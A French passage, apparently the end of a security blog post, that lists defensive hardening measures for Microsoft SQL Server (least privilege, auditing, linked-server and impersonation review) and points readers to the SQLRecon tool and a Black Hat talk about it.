• Respectez le principe du moindre privilège lors de la configuration des rôles sur les comptes utilisateurs. Ce principe doit également être appliqué au compte de service qui démarre SQL Server.
• Supprimez les associations inutiles de noms de principal de service SQL.
• Utilisez des mots de passe forts pour tout compte local, tel que le compte sa  compte.
• Consignez, ingérez et auditez de manière centralisée les événements de connexion à SQL Server. Netwrix a publié un excellent article de blog expliquant comment y parvenir.
• Chiffrez les contenus sensibles. Les jeux de données sont ainsi protégés, même en cas de compromission du serveur SQL.
• Évaluez les liens entre les serveurs SQL Server et déterminez le type d’authentification utilisé pour le lien. Si possible, choisissez d’utiliser le contexte de sécurité de l’authentification en cours, plutôt que d’utiliser le contexte du compte sa  compte.
• Évaluez tous les emprunts d’identité qui ont été configurés et déterminez leurs exigences.
• Si vous utilisez des bases de données Azure SQL, assurez-vous que Microsoft Advanced Threat Protection est activé et configuré pour envoyer des alertes.

Les attaques contre SQL Server restent d’actualité dans le paysage actuel de la cybersécurité. Les adversaires font constamment évoluer leurs techniques pour échapper aux contrôles défensifs et, pour ce faire, exploitent de plus en plus de services auxiliaires, tels que SQL Server. Ces attaques sont devenues plus sophistiquées et plus furtives, employant souvent des techniques moins courantes pour contourner les mesures de sécurité traditionnelles.

En abusant de SQL Server, les adversaires peuvent obtenir un accès non autorisé à des données sensibles, manipuler des bases de données et même compromettre des systèmes entiers. Les conséquences de telles attaques peuvent être graves, entraînant des violations de données, des pertes financières et des dommages à la réputation d’une entreprise.

Pour réduire le risque de ces attaques, il est essentiel que les entreprises revoient leurs configurations SQL Server et adoptent les bonnes pratiques en matière de sécurité. De plus, les entreprises devraient investir dans des solutions de sécurité offrant des capacités de surveillance en temps réel, de détection d’anomalies et d’analyse comportementale. Ces solutions peuvent contribuer à détecter les attaques et à y répondre plus efficacement, minimisant ainsi leur impact potentiel sur les données et les systèmes critiques. En prenant des mesures proactives pour sécuriser les environnements SQL Server, les entreprises peuvent réduire considérablement le risque d’être victimes de ces attaques et protéger leurs précieux actifs de données.

Vous pouvez toujours trouver la dernière version stable de SQLRecon  sur la page Github de X-Force Red.

Si vous assistez à la conférence Black Hat Las Vegas et que vous souhaitez en savoir plus, vous pouvez assister à ma session : Utilisation abusive de Microsoft SQL Server avec SQLRecon, le jeudi 10 août à 13 h 00 (heure locale).